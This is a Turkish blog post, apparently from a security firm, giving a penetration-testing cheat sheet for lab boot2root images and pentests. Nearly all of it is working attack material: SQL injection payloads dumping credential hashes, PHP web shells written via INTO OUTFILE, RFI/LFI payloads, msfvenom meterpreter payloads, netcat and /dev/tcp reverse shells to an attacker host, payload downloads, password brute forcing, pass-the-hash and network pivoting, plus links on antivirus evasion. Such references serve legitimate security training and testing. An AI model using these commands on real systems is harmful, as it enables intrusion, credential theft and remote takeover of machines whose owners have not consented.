12 Mayıs 2017

Sızma Testi Kopya Kağıdı (Pentest Cheatsheet)

Boot2root imajlar üzerinde çalışırken veya sızma testlerinde ihtiyaç duyabileceğiniz bir hazır komut listesi hazırladım, sizlerle de paylaşmak istedim.

İlk aşamalarda listelenen komutlar bilgi toplama (enumeration) odaklıdır, saldırı stratejiniz bu adımlarda elde edeceğiniz bilgilerin üzerine inşa edilmelidir.

Sunucu Tespiti


netdiscover -r 192.168.163.0/24
nmap -sn -PE -PP -PM 192.168.165.0/24

TCP Servis Tespiti


nmap -A -Pn -p- -sC -oN $host-TCPScanResult.nmap $host

UDP Servis Tespiti


nmap -A -Pn -sU --top-ports 20 -sC -oN $host-UDPScanResult.nmap $host

Servislere Yönelik Komutlar


HTTP servisi mevcutsa


HTTP servisleri için:

nikto -h $host -p $port -o http-nikto-$host-$port-nossl.txt
dirb http://$host:$port/ -o http-dirb-$host-$port-nossl.txt

HTTP(S) servisleri için:

nikto -h $host -p $port -ssl -o http-nikto-$host-$port-ssl.txt
dirb https://$host:$port/ -o http-dirb-$host-$port-ssl.txt

DAV desteğinden emin olmak için:

davtest  -url http://$host

DAV desteği üzerinden dosya atmak için:

cadaver $host
put shell.php [cadaver komut satırından]

robots.txt dosyasında çok fazla kayıt varsa mevcut dizinleri hızlı biçimde tespit edebilmek için (komutu çalıştırmadan önce robots.txt dosyasını çalıştığınız dizine kaydediniz):

wfuzz -c -z file,robots.txt --hc 404 http://$host/FUZZ
veya
for line in $(cat robots.txt); do wget http://host$line/ 2>&1; done

SMB (veya Samba) servisi mevcutsa


SMB enumeration için:

enum4linux -a $host | tee smb-enum-$host.txt

Windows SMB servisi üzerindeki açıklıkları bulmak için:

nmap -Pn -p445,139 --script=smb-vuln* -oN smb-nmap-$host.txt $host

SMB paylaşımlarını görmek için:

smbclient -L $host

Paylaşıma bağlanmak için, password sorulduğunda enter'a basılır.

smbclient //$host/<paylaşılan dizin>

SMB enumeration'ı için kullanıcı adı ve parolamız varsa:

enum4linux -u USER -p PASSWORD -a $host > smb-enum-$host.txt
smbclient //$host/paylaşım -U USER [daha sonra parola girilir]

Null session üzerinden kullanıcı enumeration'ı için:

enum4linux -u USER -p PASSWORD -a $host > smb-enum-$host.txt
smbclient //$host/paylaşım -U USER [daha sonra parola girilir]

Samba versiyonunu enumerate etmek için:

Metasploit un "auxilary/scanner/smb/smb_version" modülünü kullanabilirsiniz.

SNMP servisi mevcutsa


snmp-check -c $community $host | tee snmp-$host.txt

NFS servisi mevcutsa


Paylaşımları görmek için:

showmount -e $host

NFS paylaşımı mount etmek için:

mkdir remotedir
mount -t nfs $host:/<paylaşılan dizin> ./remotedir/

Wordpress uygulaması mevcutsa


wpscan -–url $host -–enumerate ap -–enumerate at -–enumerate u

Joomla uygulaması mevcutsa


joomscan -u $host

MySQL komut satırı bağlantısı için (parola boş ise veya biliyorsanız):

mysql -u root -h $host -p

Oracle servisi mevcutsa


Oracle enumeration (öntanımlı parola kullanan kullanıcı var mı?):

oscanner -v -s $host

MSSQL servisi mevcutsa


MSSQL komut satırı bağlantısı için (parola boş ise veya biliyorsanız)

sqsh -S $host -U sa

MSSQL "sa" parolasını ele geçirmişsek (ve tabi xp_cmdshell aktifse):
Metasploit'in "auxiliary/admin/mssql/mssql_exec" modülünü kullanarak aşağıdaki komutu (CMD) çalıştırabilir ve Administrator parolasını değiştirebiliriz.

cmd.exe /c net user Administrator Aa123456

SSH servisi mevcutsa


SSH bağlantısı için (parola veya private key'i biliyorsanız):

Parola ile bağlanma

ssh -l $user $host
veya
ssh $user@$host

SSH servisine farklı bir port'tan bağlanma

ssh $user@$host -p $port

Private key ile bağlanma

ssh -i /path/to/id_rsa $user@$host
ssh -i /path/to/id_dsa $user@$host

RDP bağlantısı


RDP ile bağlantı kurmak için (bir kullanıcı adı ve parolamız varsa)

rdesktop $host -u btruser -p Aa123456

Meterpreter oturumunuz varsa RDP bağlantısı yapabilecek bir kullanıcı tanımlamak için:

meterpreter > run getgui -u btruser -p Aa123456

VNC servisi mevcutsa


VNC sunucusuna bağlanmak için:

vncviewer $host:5900

Web Uygulamalarına Yönelik Komutlar


SQL injection açıklıklarına yönelik saldırılar


SQL hatası aldırmak için payload'lar:

'
''

Klasik logon aşma veya bilgi sızdırma payload'ları:

MSSQL ve MySQL için

1 or 1=1 -- 2
' or 1=1 -- 2

Sadece MySQL için (URL encoding yapılmazsa URL'de gönderilen payload'ları için # işareti yok sayılır browser tarafından)

1 or 1=1%23
' or 1=1%23

UNION SQL injection'da kolon sayısını bulma

id=900 union all select 1,2,3,4,5,6 -- 2

SQL injection ile bilgi sızdırma

id=900 union all select 1,2,3,4,user(),6 -- 2

MySQL, MSSQL ve Oracle temel veri yapıları sorguları

MySQL:
Örnek SQL Injection Payloadu:

id=738 union select all 1,2,3,4,User,Password from mysql.user -- 2

Kullanıcı adları ve parola hashlerini elde etmek için

SELECT User,Password FROM mysql.user

Veritabanı isimlerini elde etmek için

SELECT schema_name FROM information_schema.schemata

Tablo isimlerini elde etmek için

SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_adı'

Alan (kolon) isimlerini elde etmek için

SELECT column_name FROM information_schema.columns WHERE table_name = 'tablo_adı'

MSSQL:
Kullanıcı adları ve parola hashlerini elde etmek için

SELECT Name, Password from sys.syslogins

Veritabanı isimlerini elde etmek için

SELECT name FROM sys.databases

Tablo isimlerini elde etmek için

SELECT TABLE_NAME FROM <DATABASE_NAME>.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'
SELECT name FROM sysobjects WHERE xtype='U' (SQL Server 2000 için)

Alan (kolon) isimlerini elde etmek için

SELECT COLUMN_NAME FROM <DATABASE_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'Customers'

Oracle:

SELECT table_name, column_name, data_type, data_length FROM USER_TAB_COLUMNS WHERE table_name = 'MYTABLE'

Veritabanı üzerinden komut çalıştırma


MySQL:

Dosya okuma (load_file('/etc/passwd') dosya içeriğini string olarak döndürür)
Dosya yazma (select * from kullanici into outfile C:\\wamp\\www\\kullanici.txt)

MSSQL:

xp_cmdshell() - SQL Server 2005 ten bu yana ön tanımlı olarak aktif değildir.

Oracle için doğrudan veritabanı servis erişimi alamazsanız işler kolay değil. Ama uğraşmak isterseniz şu makaleden faydalanabilirsiniz:
http://blog.btrisk.com/2017/03/oracle-veritabani-uzerinden-sistem-ele-gecirme.html

SQL injection da tek alanda birden fazla bilgiyi sızdırmak için:

select concat(user,0x3a,password,0x3a,host) from mysql.user

Script kiddie modunda SQL injection yapmak için


GET isteğinde:

sqlmap -u "192.168.2.4/master.php?group=fatura&page=FaturaDetaylarim.php&id=7" --cookie="PHPSESSID=NTAwMDAwMDA1NDc5" -p id --sql-shell

POST isteğinde:

sqlmap -u "192.168.2.4/master.php?group=tanimlar&page=sifre_degistir.php&script=/tanimlar/js/parolakontrol.js" --cookie="PHPSESSID=NTAwMDAwMDA1NDgx" --data="mevcut_sifre=123456&kullanicino=555555&yeni_sifre=123456&tekrar_sifre=123456&Sifre_Degistir_Click=%C5%9Eifre+De%C4%9Fi%C5%9Ftir" -p kullanicino --sql-shell

PHP uygulamalarında SQL injection açıklığı ile shell alma


Basit PHP shell oluşturma:

select "<?php system($_REQUEST['cmd']);?>" into outfile "c:\\wamp\\www\\cmd.php" (Örneğin PHPMyAdmin'den)
select "<?php System($_REQUEST['cmd']); ?>" into outfile "/opt/lampp/htdocs/cmd.php";
777' UNION SELECT 1,2,3,4,5,6,7,8, "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2 (SQL Injection açıklığından)
738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/cmd.php' -- 2

Basit PHP shell'in kullanımı:

http://$host/cmd.php?cmd=whoami

Sık rastlanan HTTP web root dizinleri:

Klasik Linux Apache

/var/www/html/
/var/www/

LAMPP

/opt/lampp/htdocs/

XAMPP

/xampp/htdocs

WAMP

/wamp/www

Basit komut çalıştırma imkanını elde ettikten sonra shell alabilmek için üreteceğiniz bir meterpreter payload'unu hedef sunucuya atabilirsiniz.
(Not: anti-virüs'ten nasıl kaçınırım sorusunun yanıtı bu makalede mevcut değildir. Bu sorunun script kiddie'lere yönelik yanıtları için bakınız: http://blog.btrisk.com/2016/01/msfvenom-ile-antivirus-atlatma-1.html, http://blog.btrisk.com/2016/03/veil-evasion-ile-antivirus-atlatma.html, http://blog.btrisk.com/2016/05/shellter-antivirus-atlatma.html)

HTTP üzerinden hedef sunucu üzerine dosya çekme

HTTP Server'ı başlatma:

python -m SimpleHTTPServer 80

Linux için wget ile dosya çekme:

wget http://$kali_ip/dosya

Windows için wget fonksiyonalitesine sahip bir vbscript oluşturmak için:
Şu linkteki komutları her seferinde bir satır olarak çalıştırarak bir vbscript oluşturabilirsiniz:
https://gist.github.com/sckalath/ec7af6a1786e3de6c309
Daha sonra aşağıdaki gibi bir HTTP isteği ile payload'u çekebilirsiniz:

http://$host/cmd.php?cmd=cscript wget.vbs http://$kali_ip/shell.exe shell.exe

RFI / LFI açıklıklarına yönelik saldırılar


Komut satırından basit RFI (data filter desteği varsa):

page=data://text/plain, <?php system("whoami");?>

Komut satırından base64 kodlu RFI (data filter desteği varsa):

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==

RFI ile tek istekte hem injection hem komut çalıştırma:

page=data://text/plain,<?php system($_GET[cmd]);?>&cmd=whoami

RFI ile tek istekte hem injection hem komut çalıştırma (base64 ve URL encoding ile):

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8%2B&cmd=whoami

LFI ile sistem üzerindeki bir dosya içeriğini okuma:

?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
?file=file:///etc/passwd

RFI ile Meterpreter session alma:

msfvenom -p php/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -e php/base64 -f raw > payload.txt

Önemli: Comment'i kaldırmayı ve sonuna ?> eklemeyi unutmayınız

HTTP Server'ı başlatma:

python -m SimpleHTTPServer 80

Multi handler'ı başlatma:

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

RFI'ın tetiklenmesi

?page=http://$kali_ip/payload.txt

RFI ile Meterpreter session alamazsak, cmd.php yöntemi ile elf payload yükleyebiliriz:

echo "<?php System($_GET['cmd']);?>" > payload.txt [KALI de oluşturacağımız payload]
python -m SimpleHTTPServer 80 [HTTP server ın başlatılması]
?cmd=cat%20/etc/passwd&page=http://$kali_ip/payload.txt [RFI ın çalıştırılması]
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f elf > shell.elf [KALI de oluşturacağımız Meterpreter payload u]
?cmd=wget http://$kali_ip/shell.elf /var/tmp/shell.elf&page=http://$kali_ip/payload.txt
?cmd=chmod %2bx /var/tmp/shell.elf&page=http://$kali_ip/payload.txt
>TCP 4444 portundan dinleyecek linux/x86/meterpreter/reverse_tcp multi handler başlatılır.
?cmd=/var/tmp/shell.elf&page=http://$kali_ip/payload.txt

LFI ile kod çalıştırabilmek için Apache log lokasyonları (bu dosyalara basit bir PHP kodu inject etmek için bu kodu içeren bir URL ile sunucuya istekte bulununuz):

XAMPP

/xampp/apache/logs/access.log

WAMP

/wamp/logs/access.log

Debian / Ubuntu

/var/log/apache/access.log
/var/log/apache2/access.log

RHEL / Red Hat / CentOS / Fedora

/var/log/httpd/access_log

FreeBSD

/var/log/httpd-access.log

SMTP açıksa ve bir kullanıcıya mail atabiliyorsak, basit bir PHP kodunu içeren bir mail attıktan sonra bu kullanıcının mail dosyasını include edebiliriz:

/var/mail/username
/var/spool/mail/username

Web backdoor uygulama örnekleri
http://michaeldaw.org/projects/web-backdoor-compilation

Shell Bağlantısı Kurma Yöntem ve Araçları


Netcat ile basit bind shell verme:


Hedef sunucu üzerinde

[Linux] nc -lvp 4444 -e /bin/bash
[Windows] nc -lvp 4444 -e cmd.exe (Windows bilgisayarlarda öntanımlı olarak nc.exe bulunmaz)

Kali'den

nc -v $host 4444

Netcat ile basit reverse shell alma:
Kali üzerinde

nc -nlvp 4444

Hedef sunucu'dan

nc -c /bin/sh $kali_ip 4444

(Linux hedef sunucular için) komut satırı injection (command line injection) açıklığı üzerinden shell alma yöntemleri


Kali üzerinde

nc -nlvp 4444

Hedef sunucu komut satırında

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $kali_ip 4444 >/tmp/f
veya
rm -f /tmp/p; mknod /tmp/p p && nc $kali_ip 4444 0/tmp/p
veya
mknod backpipe p; nc $kali_ip 4444 0<backpipe | /bin/bash 1>backpipe
veya
/bin/bash -i > /dev/tcp/$kali_ip/4444 0<&1 2>&1

Telnet ile shell alma


Hedef üzerinde

telnet 192.168.1.133 8080  | /bin/bash | telnet 192.168.1.133 8081

Kali'de

nc -nlvvp 8080 [komut girmek için]
nc -nlvvp 8081 [çıktıları görmek için]

Reverse TCP meterpreter bağlantısı için Windows executable payload oluşturma:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f exe > shell.exe

(Metasploit'ten) handler'ı başlatma:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

Reverse TCP meterpreter bağlantısı için Linux executable payload oluşturma


(attığınız dosyaya çalıştırma haklarını vermeyi unutmayınız):

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f elf > shell.elf

(Metasploit'ten) handler'ı başlatma:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

Reverse TCP meterpreter bağlantısı için PHP payload oluşturma


(PHP payload'un elle düzeltilmesi gerekmektedir. Ayrıca PHP payload ile Meterpreter session'ını aldıktan hemen sonra bir executable payload upload etmekte fayda vardır. Çünkü PHP ve ASP payload'larından geçilen shell'ler stabil çalışmamaktadır):

msfvenom -p php/meterpreter/reverse_tcp LHOST=$host LPORT=4444 -f raw > shell.php

PHP Meterpreter multi handler'ı başlatma:

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

Reverse TCP meterpreter bağlantısı için ASP payload oluşturma


msfvenom -p windows/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f asp > shell.asp

(Metasploit'ten) handler'ı başlatma

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z

HTTP Dışındaki Hedef Sistem Üzerine Dosya Çekme Yöntemleri


TFTP servisi ile dosya çekme [Windows hedef sunucudan]


Kali üzerinde tftp servisini Metasploit ile başlatma:

use auxiliary/server/tftp
set tftproot /root/tftprootdizini/ 
exploit

Hedef (Windows) sunucu tarafında dosyayı çekmek için

tftp -i $kali_ip get shell.exe

FTP servisi ile dosya çekme [Windows hedef sunucudan]


Kali üzerinde ftp servisini Metasploit ile başlatma:

use auxiliary/server/ftp
set ftproot /root/
exploit

Windows tarafında çalıştıracağımız ftp komutları:

open $kali_ip
anonymous  
whatever  
binary  
get payload.exe  C:\\WINDOWS\\TEMP\\payload.exe
bye

ftp -s:C:\\WINDOWS\\TEMP\\ftp.txt

Bunun için önce ftp.txt dosyasını oluşturmamız gerekir:

echo open $kali_ip > ftp.txt
echo anonymous >> ftp.txt
echo whatever  >> ftp.txt
echo binary  >> ftp.txt
echo get payload.exe  C:\\WINDOWS\\TEMP\\payload.ex >> ftp.txt
echo bye >> ftp.txt

Komut satırından Base64 ve Hex kodlama ve decode etme


echo -n "btrisk" | base64 -w 0
echo "YnRyaXNr" | base64 -d

echo -n "btrisk" | xxd -p -
echo 62747269736b | xxd -r -p

Dosya İnceleme


PDF dosya inceleme:

pdf-parser Invoice.pdf

Resim ve diğer binary dosyalar için ilk inceleme komutları:

exif (resim dosyaları için)
strings (tüm binary dosyalar için)
binwalk (çalıştırılabilir dosyalar, firmware v.b. için)

Steganografi ile gizlenmiş dosyayı çıkarma (şifresini biliyorsanız):

steghide extract -sf image.jpg

Dosya tipini incelemek için:

file $dosya_adi

Hash Kırma


Hash kırma siteleri:
https://www.hashkiller.co.uk/ntlm-decrypter.aspx
https://crackstation.net/

MD5 kırma site örneği:
https://md5db.net/decrypt

Hash tipini öğrenme:

hash-identifier

John The Ripper kullanımı (offline parola hash'i kırmak için):

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Kali üzerinde rockyou.txt lokasyonu:

/usr/share/wordlists/rockyou.txt

fgdump.exe ve PwDump.exe lokasyonu:

/usr/share/windows-binaries/fgdump/

Passing the hash yöntemi ile komut satırı erişimi alma:

export SMBHASH=hashdegeri-lm-ve-ntlm
pth-winexe -U domainname/administrator%hashdegeri //$host cmd [komut satırı erişimi açılır]

SAM dosyası ele geçirirseniz dosyayı "Cain & Abel" ile açabilirsiniz.

Online Parola Kırma Örnekleri


SSH

hydra -l root -P passwords.txt $host ssh
hydra -L user.txt -P pass.txt -t 4 ssh://$host:22

FTP

hydra -l root -P passwords.txt $host ftp

RDP

hydra -t 1 -V -f -l administrator -P passwords.txt rdp://$host

Linux'da (genellikle bulunabilecek) world writable dizinler (enumeration script'lerimizi atmak için, dizinlerin varlığından emin olmak ve yazılabilir olduklarını görmek için meterpreter shell'inden "echo aaa > /var/tmp/sil" komutu ile bir dosya oluşturulabilir)

/tmp/ [Bu dizin genellikle bir cron job ile periyodik olarak otomatik temizlenir, bu yüzden aşağıdaki dizin tercih edilebilir]
/var/tmp/
/dev/shm/
/var/mail/
/var/spool/mail/

Pivoting


Bir meterpreter oturumu kurulduktan sonra

Aşağıdaki komutla hedef sistemin ağ arayüzleri, bu arayüzlerin IP adresleri ve netmask değerleri görülür
meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün 192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve 255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır]

Aşağıdaki komutla ulaşılmak istenen ağ bölümü için routing konfigürasyonu yapılır (komutların ilki ve sonuncusu yardım amaçlıdır)

meterpreter> run autoroute -h [bu komutla autoroute script i hakkında yardım bilgisi edinebiliriz]
meterpreter> run autoroute -s 10.1.0.0/24
meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print edilebilir]

Bu komutla tanımlanan route konfigürasyonunun sadece meterpreter oturumu için geçerli olduğunu unutmayınız. Sisteminiz üzerindeki diğer uygulamaların da bu routing imkanını kullanabilmesi için gerekli adımlar aşağıda belirtilmiştir.

Yeni route'umuz eklendikten sonra mevcut meterpreter oturumumuz içinden aşağıdaki komutla hedef sistem üzerinden erişebildiğimiz diğer sunucuların varlığı keşfedilir (komutların ilki yardım amaçlıdır)

meterpreter> run arp_scanner [script in opsiyonlarını bu komutla görebilirsiniz]
meterpreter> run arp_scanner -r 10.1.0.0/24

Bu noktadan sonra port tarama için iki seçeneğimiz var:
1) Metasploit'in sistem üzerinde çalışan diğer uygulamaların (örneğin nmap'in) kullanabileceği bir proxy çalıştırması ve local sunucu üzerinde çalışacak bu proxy portu üzerinden hedef subnet ve sunuculara bu uygulamalarla erişme
2) Metasploit'in auxiliary/scanner/portscan/tcp modülü ile yeni subnet üzerindeki sunucularda TCP port tarama

Birinci seçenek daha esnek görünüyor, örneğin nmap'in service enumeration özelliğini de kullanabiliriz bir sorun çıkmazsa. Her iki seçenekte de TCP (yani connect) scan seçeneği ile kısıtlıyız, UDP taraması yapamayız bunu unutmayınız. Eğer birinci seçenek işe yaramazsa Metasploit'in port taramasından faydalanabiliriz.

Birinci Yöntem:

meterpreter> background [auxilary socks proxy modülümüzü kullanmak için mevcut oturumumuzu arka plana atmalıyız]
msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1" olduğu 
msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu komutu çalıştırmanız gerekebilir]
msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda herhangi bir hata olup olmadığını inceleyebilirsiniz]
msfconsole> use auxiliary/server/socks4a
msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta fayda var]
msfconsole> run [socks proxy arka planda çalışmaya başlar]

Açılan proxy servisi üzerinden hedef ağa ulaşmak için "proxychains" uygulamasını kullanmaya ihtiyacımız bulunmaktadır.
Kali üzerinde bu uygulamanın konfigürasyon dosyasının bulunduğu dosya adı "/etc/proxychains.conf" dur.
"socks4 127.0.0.1 9050" olan öntanımlı satırdaki 9050 port numarasının aşağıdaki gibi 1080 olarak değiştirilmesi gerekmektedir (çünkü Metasploit içinden başlatılan SOCKS proxy'nin port numarası 1080 olarak opsiyonlar içinde belirtilmiştir)

socks4  127.0.0.1 1080

Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları kullanabiliriz:

proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli çünkü proxy bağlantısı üzerinden ICMP paketleri taşınamaz, sadece TCP paketleri iletilmelidir.]
proxychains nmap -sT -Pn -p- 10.1.0.155

İkinci yöntem:
nmap gibi service enumeration yapamayacağınız bu yöntemde metasploit'in port tarama imkanını kullanacağız.

msfconsole> use auxiliary/scanner/portcscan/tcp
msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini değiştirmek isteyeceksiniz]
msfconsole> set ports 1-65535
msfconsole> set rhosts 10.1.0.155
msfconsole> run

Eğer hedef sistem üzerindeki bir servisle Kali bilgisayarınız üzerinden etkileşime geçmek isterseniz (örneğin bir HTTP servisi tespit ettiyseniz ve bu web sitesine browser'ınızla erişmek istiyorsanız) o zaman meterpreter oturumunuzun port forwarding imkanını kullanabilirsiniz.

msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada oturum numaranızın "1" olduğu varsayılmıştır]
meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz]
meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155

Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine erişirsiniz:

http://localhost:8000/

Yukarıda bahsedilen ve diğer meterpreter script'lerinin bulunduğu dizin "/usr/share/metasploit-framework/scripts/meterpreter" dir.
Bu dizini bulmak için "locate scripts | grep meterpreter" komutunu çalıştırabilirsiniz.

Diğer


Meterpreter oturumumuz bağlantı kurulduktan bir süre sonra düşüyorsa aşağıdaki exploit opsiyonunundan faydalanabilirsiniz:

set AUTORUNSCRIPT post/windows/manage/migrate

Msfvenom yardım komutları:

msfvenom -l payloads
msfvenom -l encoders
msfvenom --help-formats 

Aldığınız shell'i daha kullanışlı bir hale getirmek için (örneğin localde mysql bağlantısı kurduğunuzda komut satırı etkileşiminizin sıkıntısız olabilmesi için):

python -c 'import pty;pty.spawn("/bin/bash");'